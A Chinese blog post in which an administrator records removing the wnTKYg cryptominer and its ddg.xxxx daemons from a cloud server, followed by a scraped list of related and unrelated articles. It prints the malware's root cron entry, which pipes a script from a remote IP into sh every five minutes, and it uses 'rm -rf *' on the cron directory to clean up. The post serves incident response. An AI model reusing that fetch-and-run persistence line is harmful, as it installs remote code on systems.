起因,阿里云多次提醒我的一台服务器有恶意发包行为,且给出了一些解决办法。之前也没太在意,就按照解决办法处理了一下。然后过一段时间,还是提示有此行为。

猜肯定是中了木马了,开始以为是被肉鸡了拿来做DDoS攻击别人了。今天去服务器上仔细看了一下。然后发现了问题究竟(目前猜应该如此,还等待观察)。

现将过程记录如下:

1、先查看一下端口情况,发现有些名为ddg.xxxx的进程很可疑。然后看了下远程的链接IP,美国、法国等地方,很奇怪。网上搜了一下,没什么结果。

[root@zhangtianguo ~]# netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22111 0.0.0.0:* LISTEN 840/sshd
tcp 0 0 127.0.0.1:32000 0.0.0.0:* LISTEN 27121/java
tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN 20918/memcached
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 813/nginx: worker p
tcp 0 0 0.0.0.0:81 0.0.0.0:* LISTEN 1497/httpd
tcp 0 0 0.0.0.0:82 0.0.0.0:* LISTEN 1497/httpd
tcp 0 0 0.0.0.0:83 0.0.0.0:* LISTEN 1497/httpd
tcp 0 0 0.0.0.0:85 0.0.0.0:* LISTEN 1497/httpd
tcp 401 0 我的IP:42388 106.11.68.13:80 CLOSE_WAIT 11393/AliYunDunUpda
tcp 0 1 我的IP:43968 52.2.199.2:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:38258 54.222.159.38:8443 SYN_SENT 1620/ddg.1010
tcp 401 0 我的IP:41811 106.11.68.13:80 CLOSE_WAIT 11393/AliYunDunUpda
tcp 401 0 我的IP:53489 140.205.140.205:80 CLOSE_WAIT 11393/AliYunDunUpda
tcp 0 0 我的IP:59795 202.181.169.98:8443 ESTABLISHED 25125/ddg.2011
tcp 0 0 我的IP:50071 212.83.189.246:443 ESTABLISHED 12908/wnTKYg
tcp 0 1 我的IP:47592 106.75.74.11:9443 SYN_SENT 12799/ddg.1009
tcp 371 0 10.174.208.36:51087 100.100.25.3:80 CLOSE_WAIT 11393/AliYunDunUpda
tcp 0 0 我的IP:40019 106.11.68.13:80 ESTABLISHED 11448/AliYunDun
tcp 0 0 127.0.0.1:32000 127.0.0.1:31001 ESTABLISHED 27119/wrapper
tcp 0 1 我的IP:39511 39.108.56.56:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:50528 121.69.45.254:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:51132 106.75.71.242:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:60425 120.77.46.195:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:54458 116.39.7.114:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:57546 54.183.178.110:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:57686 106.75.134.239:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:56848 61.65.191.22:8443 SYN_SENT 1620/ddg.1010
tcp 401 0 我的IP:52910 106.11.68.13:80 CLOSE_WAIT 11393/AliYunDunUpda
tcp 0 604 我的IP:22111 27.10.185.19:63158 ESTABLISHED 19368/sshd: root@pt
tcp 0 1 我的IP:56357 165.225.157.157:8443 SYN_SENT 1620/ddg.1010

2、然后,看了下这个进程的具体情况,居然是在/tmp/下的进程,心中更多抑或:

[root@zhangtianguo ~]# ps aux | grep ddg
root 1620 0.1 0.7 209684 13688 ? Sl Jul12 78:05 /tmp/ddg.1010
root 12799 0.0 0.2 262816 5460 ? Sl Jul01 9:32 /tmp/ddg.1009
root 19576 0.0 0.0 112644 960 pts/1 S+ 10:01 0:00 grep --color=auto ddg
root 25125 0.0 0.2 207236 5172 ? Sl Aug27 2:13 /tmp/ddg.2011
root 28248 0.0 0.2 207192 4520 ? Sl Jul27 38:09 /tmp/ddg.1021

3、再去看看/tmp/下的文件,只有一个ddg.2011的文件,当时就心想,肯定是这些进程运行后,又自动删除了文件,看时间,8月创建的时间的文件,全部统统rm掉:

[root@zhangtianguo tmp]# ll -ah
total 9.6M
drwxrwxrwt. 9 root root 4.0K Aug 29 10:02 .
drwxr-xr-x. 20 root root 4.0K Jun 30 18:04 ..
srwxr-xr-x 1 root root 0 Aug 28 12:53 Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
-rwxr-xr-x 1 root root 9.5M Aug 11 10:13 ddg.2011
drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .font-unix
drwxr-xr-x 2 root root 4.0K Aug 17 10:07 hsperfdata_root
drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .ICE-unix
drwx------ 3 root root 4.0K Nov 26 2015 systemd-private-nwO9vi
drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .Test-unix
drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .X11-unix
drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .XIM-unix

4、再重复步骤1,查看端口情况,又发现了这个玩意儿,感觉不太正常(直觉):

tcp        0      0 我的IP:50071    212.83.189.246:443      ESTABLISHED 12908/wnTKYg   

5、一搜,原来居然是个挖矿的程序貌似。原来已经有不少人中招过了。解决办法也有很多人给出了,基本上就是:

先给redis的问题处理掉,改端口、加密码之类;

查看/root/.ssh/下的文件,是否有异常登陆信息,有的话删掉;

搜索wnTKYg的相关文件( find / -name *wnTKYg*),删掉;

删掉/tmp/下的异常文件(主要是ddg.xxxx之类的);

kill掉wnTKYg以及ddg.xxxx的进程;

还有个问题,这个程序有个自动任务,从木马服务器下载程序执行,也要删掉:

cd /var/spool/cron
ll -ah
rm -rf *

我查看这个目录时,发现里面的自动任务是这样的,好像是印度一个IP:

[root@zhangtianguo cron]# cat root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh

至此,完工。然后继续观察。

参考资料。感谢:

http://blog.csdn.net/u010789532/article/details/70528648

http://blog.csdn.net/zimou5581/article/details/73064878

记录清除wnTKYg挖矿工木马(守护进程ddg.xxxx)的过程的更多相关文章

  1. 清除wnTKYg 这个挖矿工木马的过程讲述

    由于工作需要,我由一个专业java开发工程师,渐渐的也成为了不专业的资深的运维工程师了.感慨一番,书归正传,下面就讲解wnTKYg如何清除.最近项目在做性能测试,发现CPU使用率异常,无人访问时CPU ...

  2. 彻底清除Linux centos minerd木马

    前几天,公司两台linux服务器,一台访问速度很慢,cpu跑满,一台免密码登录失效,公钥文件被改写成redis的key.用htop命令查询发现了minerd木马进程,初步猜测是redis没有配访问权限 ...

  3. Unix环境高级编程(十三)守护进程

    守护进程也称为精灵进程是一种生存期较长的一种进程.它们独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件.他们常常在系统引导装入时启动,在系统关闭时终止.unix系统有很多守护进程,大多数 ...

  4. Linux网络编程学习(四) -----守护进程的建立(第三章)

    本文介绍一个例程daemon_init() #include <sys/types.h> #include <signal.h> #include <unistd.h&g ...

  5. Linux多任务编程之七:Linux守护进程及其基础实验(转)

    来源:CSDN  作者:王文松  转自Linux公社 ------------------------------------------------------------------------- ...

  6. Unix环境高级编程——守护进程记录总结(从基础到实现)

    一.概念及其特征 守护进程是系统中生存期较长的一种进程,常常在系统引导装入时启动,在系统关闭时终止,没有控制终端,在后台运行.守护进程脱离于终端是为了避免进程在执行过程中的信息在任何终端上显示并且进程 ...

  7. 笔记整理--Linux守护进程

    Linux多进程开发(三)进程创建之守护进程的学习 - _Liang_Happy_Life__Dream - 51CTO技术博客 - Google Chrome (2013/10/11 16:48:2 ...

  8. 编写Linux/Unix守护进程

    原文: http://www.cnblogs.com/haimingwey/archive/2012/04/25/2470190.html 守护进程在Linux/Unix系统中有着广泛的应用.有时,开 ...

  9. Linux 下Qt实现守护进程实例(转)

     原文地址:Linux守护进程的编程方法(含实例) 作者:lingdxuyan 参考文献 Linux信号列表(zz) Linux 守护进程的编程方法 linux上编写守护进程的例程 Linux下后台守 ...

随机推荐

  1. NLog 配置

    之前我介绍过如何使用log4net来记录日志,但最近喜欢上了另一个简单好用的日志框架NLog. 关于NLog和log4net的比较这里就不多讨论了,感兴趣的朋友可以参看.NET日志工具介绍和log4n ...

  2. Eclipse配置MyBatis的xml自动提示【转】

    如果使用eclipse中,再写mybatis的xml文件的时候,没有提示,用“Alt+/”,不能把代码用快捷键敲出来: 可以试试以下几种方法: 第一种方法: 1.1:打开配置文件,按住Ctrl键,并且 ...

  3. Xshell配置密钥公钥(Public key)与私钥(Private Key)登录

    ssh登录提供两种认证方式:口令(密码)认证方式和密钥认证方式.其中口令(密码)认证方式是我们最常用的一种,这里介绍密钥认证方式登录到linux/unix的方法. 使用密钥登录分为3步:1.生成密钥( ...

  4. C#设计模式六大原则概述

    在面向对象的设计中,我们应当遵循以下六大原则,只有掌握了这些原则,才能更好的理解设计模式. 1:单一职责原则(Single Responsibility Principle 简称 :SRP) : 就一 ...

  5. JS处理数组内如果相同ID追加一个属性(如字体颜色)

    var arr=[{id:0},{id:0},{id:3},{id:2},{id:0},{id:4},{id:0},{id:1},{id:1},{id:2},{id:2}]; for(var i=0; ...

  6. webpack2利用插件clean-webpack-plugin来清除dist文件夹中重复的文件

    配置文件如下 /** * Created by oufeng on 2017/5/6. */ const webpack = require('webpack'); const path = requ ...

  7. java源文件与类

    一个源文件可以包含多个类, 编译的时候,每一个类生成一个字符码文件, 源文件名可以和类名不一致,但字符码文件与类名一致, 如果类是public(公共类),源文件名必须与类名一致 命名规则:源文件的路径 ...

  8. 【工具相关】Web-Sublime Text2新建立文件夹(二)

    紧接着上文. 一,打开Sublime Text2. 二,在桌面上新建立一个文件夹,html5. 三,打开html5如图所示.里面有我们刚刚建立好的文件. 四,把html5文件夹拖动到sublime2中 ...

  9. Ansible--配置文件及系列命令

    Ansible目录结构 安装完成ansible后要知道ansible主要安装的了什么,安装的目录结构是什么,每个目录做什么的 可以使用:rpm -ql ansible | less 来查看ansibl ...

  10. MVC与单元测试实践之健身网站(八)-统计分析

    ​统计分析模块与之前的内容相对独立,用于记录并跟踪各部位围度的变化.还需提供对所作计划的分析,辅助使计划更合理. 一 围度记录 这儿可以记录各项身体围度指标,现在包括体重在内身体上上下下基本全部提供了 ...